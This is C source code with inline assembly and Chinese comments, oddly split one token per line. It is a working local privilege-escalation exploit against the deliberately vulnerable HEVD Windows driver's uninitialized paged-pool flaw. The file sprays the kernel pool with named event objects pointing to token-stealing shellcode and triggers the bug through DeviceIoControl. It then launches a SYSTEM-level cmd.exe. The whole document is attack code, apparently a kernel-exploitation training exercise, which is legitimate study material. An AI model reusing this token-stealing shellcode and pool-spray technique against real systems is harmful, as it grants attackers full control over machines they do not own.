/
/
1.
设置符号链接名称
/
/
2.
控制码定义(与
0
环一样)
static VOID shellcode() {
/
/
No Need of Kernel Recovery as we are
not
corrupting anything
__asm {
/
/
int
3
nop
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax;
Set
ZERO
mov eax, fs: [eax
+
KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD
is
located at FS : [
0x124
]
mov eax, [eax
+
EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN
7
SP1 SYSTEM process PID
=
0x4
SearchSystemPID:
mov eax, [eax
+
FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp
[eax
+
PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax
+
TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx
+
TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
ret
}
}
VOID EXP_UninitializedMemoryPagedPool() {
/
/
3.CreateFile
打开符号链接得到设备句柄
HANDLE hDevice
=
NULL;
hDevice
=
CreateFile(DEVICE_LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if
(hDevice
=
=
INVALID_HANDLE_VALUE) {
printf(
"[-] Error - Unable to obtain a handle to the driver, error code %d\n"
, GetLastError());
exit(
1
);
}
/
/
4.DeviceIoControl
给
0
环发请求并接收返回结果
char lpName[
0xf0
]
=
{
0
};
/
/
一个
Unicode
是
2
个字节
memset(lpName,
0x41
,
0xf0
);
HANDLE Event_OBJECT[
256
];
/
/
固定最多
256
个块
for
(
int
i
=
0
; i <
256
; i
+
+
)
{
*
(PDWORD)((PCHAR)lpName
+
0x4
)
=
(DWORD)shellcode;
/
/
Callback成员_UNINITIALIZED_MEMORY_POOL结构体
+
0x4
上
*
(PDWORD)((PCHAR)lpName
+
0xf0
-
4
)
=
i;
Event_OBJECT[i]
=
CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpName);
}
for
(
int
i
=
0
; i <
256
; i
+
+
)
{
CloseHandle(Event_OBJECT[i]);
/
/
将创建的池块释放
}
DWORD dwRet
=
0
;
char exp_NullPointerDereference[
4
]
=
{
0
};
memset(exp_NullPointerDereference,
'A'
, sizeof(exp_NullPointerDereference));
DeviceIoControl(hDevice, HEVD_UNINITIALIZED_MEMORY_PAGED_POOL, exp_NullPointerDereference, \
4
, NULL,
0
, &dwRet, NULL);
system(
"cmd.exe"
);
}
int
main() {
EXP_UninitializedMemoryPagedPool();
return
0
;
}